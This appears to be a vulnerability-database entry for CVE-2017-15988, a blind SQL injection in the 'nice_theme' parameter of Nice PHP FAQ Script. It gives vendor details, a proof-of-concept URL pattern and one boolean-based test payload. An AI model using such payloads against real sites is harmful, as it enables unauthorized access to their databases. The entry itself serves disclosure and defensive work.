发布 2017-10-30 漏洞条目

Nice PHP FAQ Script – ‘nice_theme’ SQL Injection

Exploit Source

# # # # #

# Exploit Title: Nice PHP FAQ Script - SQL Injection

# Dork: N/A

# Date: 30.10.2017

# Vendor Homepage: http://www.nicephpscripts.com/

# Software http://www.nicephpscripts.com/demo_php_script-PHP-FAQ-Script-Knowledgebase-Script.htm

# Demo: http://www.nicephpscripts.com/scripts/faqscript/

# Version: N/A

# Category: Webapps

# Tested on: WiN7_x64/KaLiLinuX_x64

# CVE: CVE-2017-15988

# # # # #

# Exploit Author: Ihsan Sencan

# Author Web: http://ihsan.net

# Author Social: @ihsansencan

# # # # #

# Description:

# The vulnerability allows an attacker to inject sql commands....

# Proof of Concept:

# http://localhost/[PATH]/index.php?nice_theme=[SQL]

# Parameter: nice_theme (GET)

# Type: boolean-based blind

# Title: AND boolean-based blind - WHERE or HAVING clause

# Payload: nice_theme=3 AND 5083=5083

# Etc..

# # # # #

相关漏洞条目